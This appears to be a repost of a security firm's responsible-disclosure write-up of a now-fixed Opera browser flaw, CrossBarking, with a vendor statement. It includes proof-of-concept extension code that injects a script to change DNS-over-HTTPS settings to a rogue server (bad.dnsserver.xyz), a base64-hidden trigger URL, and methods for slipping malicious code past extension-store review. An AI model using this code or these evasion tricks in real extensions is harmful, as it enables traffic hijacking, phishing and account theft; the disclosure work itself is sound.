Short Summary
Guardio Labs has revealed a critical vulnerability in the Opera browser that allows malicious extensions to exploit Private APIs, leading to severe security risks such as screen capturing and account hijacking. The research demonstrates how easily these malicious extensions can be created and distributed through official extension stores, highlighting the ongoing challenges in browser security.
Key Points
- Vulnerability Discovery: A serious 0-day vulnerability in the Opera browser allows malicious extensions to access Private APIs.
- Exploitation Method: Malicious extensions can be created using simple tools and distributed via the Chrome Store, reaching millions of users.
- Private APIs: These APIs grant extensive permissions, enabling actions like screen capturing and modifying browser settings.
- Cross-Browser Threat: The vulnerability allows for cross-browser attacks, where extensions from one browser can affect another.
- Security Measures: Opera has since implemented fixes and removed certain domain privileges to enhance security.
- Call to Action: Users are urged to exercise caution when installing browser extensions and to adopt robust security measures.
MITRE ATT&CK TTPs – created by AI
- Credential Dumping (T1003)
- Using
chrome.cookies
to extract session cookies for account hijacking.
- Using
- Application Layer Protocol (T1071)
- Manipulating browser settings to redirect traffic through a rogue DNS server.
- Man-in-the-Middle (T1557)
- Using a malicious extension to hijack DNS settings and intercept user traffic.
“CrossBarking” — Exploiting a 0-Day Opera Vulnerability with a Cross-Browser Extension Store Attack
By Nati Tal (Head of Guardio Labs)
Guardio Labs has uncovered and fully disclosed a serious vulnerability in the Opera browser that allows malicious extensions to gain full access to permissive Private APIs, enabling actions like screen capturing, browser setting modifications, and account hijacking. Following our earlier discovery of MyFlaw, this revelation further underscores the ongoing challenges in modern browser security.
To illustrate the unfortunate ease of bypassing extension store security measures, our research team adopted a ‘black hat’ approach, demonstrating how, with just a free email account and AI-generated content, a fully operational malicious extension exploiting this vulnerability can be created and placed in the official Chrome Store — creating a cross-browser-store attack. From there, it could potentially reach millions of unsuspecting users worldwide. This case study not only highlights the perennial clash between productivity and security but also provides a fascinating glimpse into the tactics used by modern threat actors operating just below the radar.
Intro — Browser Sandboxing Conception
Modern websites function like fully-fledged applications, running code directly in your browser. To ensure security, your browsing context must be completely sandboxed — isolated from the rest of your system. This approach is a fundamental aspect of Chromium’s design. There are specific APIs, driven by Chromium, that website code uses to interact with your browser and system — outside of that sandbox. These APIs, mostly open-source and rigorously reviewed, provide a controlled and secure environment to activate permissive features such as autocomplete, cookie management, and secure payments.
But what happens when a custom web app or browser feature needs new or unique capabilities? This is where Private APIs come into play, bringing productivity and security, once again, into an inevitable clash!
Customizing Browsers via Private APIs
The above is true also for the Opera Browser. To support its diverse features, such as Opera Flow, Opera Wallet, Pinboard, and other unique services, the Opera Browser employs special web apps under specific domains endowed with unique privileges. This allows web apps under those unique domains, and only those, to access special Private APIs embedded into the Opera Browser’s native code.
The list of domains that Opera granted special privileges is extensive and varied. It includes Opera’s primary domain opera.com along with its subdomains. Additionally, several third-party domains, included for toolbar integrations, also receive higher privileges. Concerningly, even Opera’s internal development domains, such as op-test.net are included in the production version of the browser — and are publicly reachable:
As an example of this method, consider Opera's pinboard feature. It lets users quickly “pin” websites and other shareable items into virtual boards. For convenience, the browser takes screenshots of that pinned website and saves them under the new element in your pinboard. Taking screenshots? Sounds quite permissive—and indeed, this is done using the special Private API created intentionally for this unique feature:
Product-wise, this is the go-to method for Chromium-based products to deliver advanced user experiences, thus creating unique selling points. As such, it is used by all browser vendors building their products on top of the Chromium framework—Opera is just one example.
But let’s go back to security for a moment. Hard-coded domains with over-permissive access? Is this secure enough? Well, far from it…
Breaking the Private API Bearier — With Extensions
Let’s put on a “Black Hat” for a moment and try to gain access to those powerful Private APIs. The first thing a security researcher will think of would probably be an XSS (Cross-Site Scripting) vulnerability that could enable injecting custom code to pages behind permissive domains and calling those APIs. Might we also find “left-over” domains we can grab, still granted permissions yet not in use, and their owner forgot to renew them? And what about more advanced techniques of forcefully taking over domains like Sitting Ducks?
While the above methods are conceivable, they typically involve significant vulnerabilities and require converging complex conditions — almost like a cosmic alignment. But what if there was a more straightforward way, one that flies under the radar and might even involve cute puppies?
Yes. Browser Extensions. These add-ons are inherently very powerful—you automatically grant them special permissions upon installation, and from there, they can monitor and modify every website you see or network activity you create. Even simple utilities like all those “Dark Mode” extensions use content scripting capabilities to inject JavaScript code into every page you visit and dynamically scan and change style configurations. Well, at least the benign Dark Mode extensions…
So hey, this sounds exactly like the ‘treat’ we were ‘fetching’ for… (sorry, you will have to bear more puppy puns up next…)
The Art of Extension-Based Code Injection
To execute code under a permissive domain, we must remember that JavaScript execution is performed in different contexts. Following our Sandbox intro earlier, the content script of an extension is also sandboxed from the actual execution environment of the page itself—where the website lives. It does have access to the DOM object, so it can manipulate the page’s content, style, etc., but it can’t directly call those Private APIs.
Yet, there are “mitigations.” We should not refer to those as ‘vulnerabilities’ as they are embedded so deeply in the Extension infrastructure that most commercial extensions to date can’t work without them. One of the most useful methods is Direct Script Injection via Dynamic Page Content.
As mentioned, the content script does have access to the DOM (Document Object Model). This includes the ability to dynamically change it, specifically by adding new elements. So, let’s add a script tag to the original DOM and point it to our own crafted code (inject.js). This works like a charm with 3 simple lines in the content script of our extension:
let script = document.createElement("script");
script.src = chrome.runtime.getURL("injected.js");
(document.head || document.documentElement).appendChild(script);
Website owners can set mitigations to disable this behavior. For example, they can use the Content Security Policy (CSP) on the website, which restricts the execution of inline scripts or scripts from other origins. Yet, scripts oriented from the extension space, like in the above example (the inject.js file, which is on your local browser storage part of the extension package), are still treated differently and mostly bypass any CSP. As such, the above method is quite powerful no matter what.
Exploiting Private APIs with a POC Extension
Combining all the above together, we can create a simple extension proof of concept and see how we activate those permissive APIs. There are many accessible APIs, some are more obvious for direct exploitation, such as:
- Usingchrome.cookies (the default Chromium API is also used in Opera) to extract all session cookies and hijack accounts
- pinboardPrivat with which you can take screenshots of all open tabs.
Some can become a part of a wider attack flow:
- Consider using management or addonsPrivate with which you can disable, remove, or install any other extension of your choice — to disable security-related extensions or “drop” another malicious extension.
- settingsPrivate that will allow you to read and change ANY of your browser settings! Like forcing a rogue search engine to smuggle out your activity, disable internal protection features, or even worse…
As a POC, we will change the browser's DNS over HTTPs settings. If we manage to configure our “victims” browser to resolve domains via a rogue DNS server we control, this can give us powerful attack vectors. We can spy on all activity, manipulate page content, and even display phishing pages under the official domains of common services like social networks, email, and even banks.
This powerful Man-In-The-Middle (MiTM) type of attack is achieved by calling the Private API settingsPrivate available from the context of several domains under Opera due to this vulnerability. One of the domains is a development domain used by Opera for testing, yet is publicly available — crypto-corner.op-test.net
All we need is to open a tab to a page under this domain, inject our specially crafted code, and call chrome.settingsPrivate.setPref() — adding new settings dedicated to the DNS over HTTPs feature:
// injected.js - The specially crafted script calling Private APIs
// once the page is loaded
window.onload = function() {
if (window.location.hostname === 'opera.com') {
console.log('We run on a permissive domain!');
// Call Private APIs and change DNS configuration
chrome.settingsPrivate.setPref(
'{"dns_over_https.mode": "secure",
"dns_over_https.templates": "https://bad.dnsserver.xyz"}')
} else {
console.log('We are not running on a relevant domain...');
}
};
// content.js - content script of our extension that simply injects the above
// code to the permissive context on the vulnerable domain
let script = document.createElement("script");
script.src = chrome.runtime.getURL("injected.js");
(document.head || document.documentElement).appendChild(script);
Afterward, we can immediately close this tab — thus, users have no idea what just happened. Only deliberately looking for the “DNS over HTTPs” settings on their browser will reveal the hidden impact:
Now, we have a simple, fully working POC via a minimum permissions extension, with no user interaction (except for the actual extension installation).
So, you’re ‘paw’-ndering where the puppies come into play?
If One Store is Closed, Somewhere Another is Open
To get all the above up and running, we still need to pack it all up in a real extension and add it to the official extension store so people can download it. This is where it becomes even more interesting — and troublesome.
When we approached Opera for the disclosure of those exploitable Private APIs, the first thing that came up was for us to be rest assured as their extensions store is professionally curated and won’t allow any abuse like this. Indeed, Opera is the only vendor (we are aware of) that does the full review, including actual manual source code reviewing. It’s a slow process, yet more secure than semi-automated operations like those found in the Google Chrome Store. There, policy enforcement is done both by automated scanning and manual reviewing (without access to source code).
Nothing is bullet proof of course. In addition, Opera allows (and even suggests) installing extensions from Google’s Chrome Store in case those are not found on their store:
There are so many loopholes. What if the malicious activity is hidden inside obfuscated code flows? What if malicious code is somehow dynamically loaded later on from the “onInstall” event-driven “thank you page” — a flow enabled by the threat actor only AFTER the store approves the extension? What if the policy-enforcing technicians in the store just missed it? They are human, after all….
We encounter tons and tons of malicious extensions, all fully operational from official stores. It takes too long for those to be detected by the Store gatekeepers, sometimes even years. Some are using really advanced techniques to mitigate detection, and for some, we have no idea how they got approved without triggering obvious alarms.
Here at Guardio, we protect our users from those extensions —and embracing the “Knowing Your Enemy” strategy is essential for success. So we decided to give it a try…. will we be able to stash our malicious, private-API-exploiting Opera extension inside the official Chrome Store?!
“Privately-Stashing” A Cute Puppy Extension
Long story short… yes, we did.
Adding a new extension to the official store is quite straightforward. Create a developer account under Google, start a new extension project, provide a title, description, and graphics (using some AI prompts for a quick win…), and upload your zip file with the extension code.
So, we need to create a good extension that tells a benign story yet allows us the basic permission to run content scripts on all URLs. And what could be better than cute puppies?
Yes, it is an extension that adds a cute puppy to every page you visit! It's a must-have! To enable this simple and harmless feature, we must run Javascript on each page we visit. No puppy will appear without it. So, when we were asked on the extension upload form why we need this permission for all URLs, we had a decent answer to provide!
The extension was quickly coded, including a nice official site with more info about the extension, presenting a generic privacy policy and terms and conditions, and adding a simple configuration page to select your favorite puppies.
That’s it! Oh, and one last thing—we need to get the malicious code inside. There are numerous techniques for hiding it from the reviewers, and in our case specifically, the relevant code snippet will probably be flagged as safe—it’s a 0-day exploit, after all.
However, to be safe, we embedded the code using a technique that hides it entirely from the public and store reviewers. This was done to ensure that the exploit POC will not leak before it is fully mitigated on Opera’s end. Instead of placing the code snippet calling chrome.settingsPrivate directly in the extension code (that will probably trigger some alerts..) we placed it under the URL of a button on the extension settings page:
The URL includes a hash part with a magic word puppiesOn- followed by a base64 encoded JSON that includes the actual settings we call to:
// The Enable button link calling the vulnerable domain with a hidden command
'https://crypto-corner.op-test.net/#puppiesOn-eyJkbnNfb3Zlcl9odHRwcy5tb2RlIjoic2VjdXJlIiwiZG5zX292ZXJfaHR0cHMudGVtcGxhdGVzIjoiaHR0cHM6Ly9iYWQuZG5zc2VydmVyLnh5eiJ9'
// The Decoded Base64 string
{"dns_over_https.mode":"secure","dns_over_https.templates":"https://bad.dnsserver.xyz"}
Once you click “Enable” on the settings page, it won’t only enable the feature but also trigger the action embedded inside the URL — thus triggering the exploit and taking over your DNS settings!
The final result is that the extension was approved 24 hours later. This shows how (too) easy it is to create malicious extensions under the cover of more (or less) useful utilities.
Another crucial point to notice: Chrome’s policy enforcers are checking against Chrome capabilities, and related attack flows, so from their point of view — this extension doesn’t trigger any alarms. This could be the verdict even if the exploit code, targeting Opera’s infrastructure, was lying there in plain sight.
The next step for threat actors is to heavily “malvertise” the extension and grab thousands and even millions of installs, all under the roof of the trusted genuine Chrome extensions store.
NOTE: We made the extension available on the store for a short period of time as an unlisted item and limited access to the configuration page where the actual script calling the PrivateAPIs was hidden. The multi-stage triggering flow is not crucial for the exploit and, as mentioned, was added to safeguard the actual 0-day vulnerability from leaking. We could have triggered the exploit directly from the “onInstall” event, with no user interaction all the way.
The Final Result — End-to-End
Watch the complete attack sequence in this concise video. It captures the entire process: searching for a Puppy-themed extension in Opera’s store, following a prompt to Chrome’s Store, installing the extension, and activating the exploit. This demonstration vividly illustrates a cross-browser store attack, exploiting overlooked security measures to deliver malicious code through what is perceived as a most trustworthy delivery chain.
Lessons Learned
This vulnerable flow was quickly disclosed to the Opera team, with which we already created a professional and fruitful collaboration with the “MyFlaw” disclosure earlier this year. We suggested entirely disabling content scripting on those high-permission domains, just as the Chrome store domain is already protected from malicious extensions. The Opera team agreed and quickly deployed the fix to the public on the 24th of September, 2024. Their team also removed third-party (vk, Instagram, and Yandex) domain privileges entirely, and noted that although this is the platform's go-to standard, they have initiated working on a more structured refactoring for their features to remove this vulnerable flow entirely. Remember that these APIs are still available in those contexts, so XSS is still a valid attack flow.
This is not the first time malicious extensions have infiltrated the store, nor will it be the last. At Guardio, we combat these threats daily by unveiling new mitigation strategies and developing advanced detection methods. Our approaches often introduce innovative techniques for large-scale detection, moving beyond the traditional, time-intensive manual review process, which, as previously noted, is prone to oversights.
Browser extensions wield considerable power — for better or for worse. As such, policy enforcers must rigorously monitor them. The current review model falls short; we recommend bolstering it with additional manpower and continuous analysis methods that monitor an extension’s activity even post-approval. Additionally, enforcing real identity verification for developer accounts is crucial, so simply using a free email and a prepaid credit card is insufficient for registration. Securing our browser might not be a ‘walk in the park,’ but it’s essential unless you want to ‘play dead’ with your browser’s security. (I promise, this is the last one!)
Meanwhile, exercise caution when installing browser extensions. Ensure you have robust protective measures beyond the basics to bridge this security gap. And if you truly crave the company of cute puppies while you work… perhaps consider adopting one instead!
Remember, even the cutest puppy extensions can ‘bite’ if your browser is not properly secured! (Yeah, I know…)
Opera’s Official Statement
A vital part of our security infrastructure involves working with third-party researchers to identify vulnerabilities and fix them before they have had a chance to be exploited by bad actors. Responsible disclosure is a best practice in cybersecurity, helping software providers stay ahead of threats and allowing researchers to raise awareness about these important issues.
Guardio identified a vulnerability that could put a user at risk of attack if they were tricked into installing a malicious extension from outside Opera’s Add-ons Store. The extension that Guardio came up with to perform the attack was hosted in a third-party store because Opera’s Add-ons Store applies exclusively manual review of all extensions hosted in it, specifically to stop such malicious extensions from reaching users. This highlights the importance of a robust review process but also a secure infrastructure in browser extension stores, and the power extensions can wield.
There is no evidence of this particular scenario actually occurring in the wild, and to our and Guardio’s knowledge, no Opera users have actually been subjected to this attack. Following Guardio’s discovery, we worked with their team to deploy a fix, which went live on September 24th ahead of this responsible disclosure.
We would like to thank Guardio’s team for their creativity in discovering the vulnerability and their diligence in reporting it and working with us on addressing it. This demonstrates how responsible disclosure is a key piece of the software security puzzle and helps keep users safe.
Source: Original Post